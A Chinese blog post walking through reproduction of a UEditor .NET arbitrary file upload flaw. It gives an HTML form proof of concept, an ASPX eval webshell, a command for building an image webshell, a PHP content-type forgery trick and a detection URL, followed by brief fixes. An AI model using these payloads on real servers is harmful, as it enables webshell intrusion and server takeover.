UEditor .Net版本任意文件上传漏洞复现总结

本文详细介绍了UEditor.Net编辑器的一个已知安全漏洞,该漏洞允许攻击者通过绕过 ContentType 检查实现任意文件上传,可能导致服务器被getshell。修复措施包括代码修改和使用WAF防护。同时,提供了PHP和ASPX的绕过检测方法以及漏洞检测的URL参数。
摘要由CSDN通过智能技术生成

UEditor .Net版本任意文件上传漏洞复现总结 - 知乎 (zhihu.com)

这个洞有一定年数了,是2018年发现的(从下图的shodan中可以得知,该漏洞已经被大部分黑客SEO利用),最近看到一个表哥研究这个洞,就顺便拿来复现分析了一波。

一、漏洞介绍

Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。

漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。

Crawler方法对source[]的检查仅仅是一个ContentType,这个真的很佛系了。

if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}

二、漏洞复现

1、我们可以利用post方法直接上传文件到目标网站

Poc:

<form action="http://xx.com/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
 
 <p>shell addr: <input type="text" name="source[]" /></p>
  
 <input type="submit" value="Submit" />
  
</form>


其中【http://xx.com】填写你要测试的网站地址,action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现这种路径找不到的错误。


在复现这个漏洞的时候,你可能需要一个服务器,上传你的木马文件,其中【shell addr】后填写的就是你服务器上木马的地址加上后缀(?.aspx)。


经过反复测试发现,其实只要绕过【image】检测就可以正常上传到目标服务器了,从而进一步getshell。
如果你没有绕过【image】检测的话,就会显示如下提示:


如果你成功上传的话就会返回你上传文件的路径地址。


针对检测机制的绕过方法,我上传了php木马和aspx图片马进行getshell,均可以成功getshell,不过在权限的利用方面,php木马无法进行文件的删除操作,而aspx可以进行文件的删除操作。

当木马成功上传到目标服务器之后,直接菜刀连接就可以了。

三、漏洞修复

1.修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码。

2.使用各类WAF软件,防止攻击者上传恶意文件。

3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。
———————————————-分割线—————————————————–
PS:

1.aspx图片马绕过检测

aspx一句话:

<%@ Page Language="Jscript"%><%eval(Request.Item["zhanan"],"unsafe");%>

cmd中写图片马命令(已经存在1.jpg和2.aspx,3.aspx就是制作成功的图片马)

copy 1.jpg/b +2.aspx 3.aspx

2.php伪造类型绕过

<?php
header('Content-type: image/jpeg'); 
echo "<% eval request(\"zhanan\") %>";
?>

其中的a.jpg即为我的图片马,c.php为php一句话木马。(注意:不是在服务器上保存文件类型为a.jpg?.aspx或者c.php?.aspx,而是只要在【shell addr】添加后缀(a.jpg?.aspx或者c.php?.aspx)就行了。)

3.可在网址添加/controller.ashx?action=catchimage参数查看是否漏洞存在, 出现下图字样基本就是存在该漏洞的。

参考:

https://zhengbao.wang/UEditor-net%E7%89%88%E6%9C%AC%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/

UEditor .net版本 getshell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

J0hnson666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值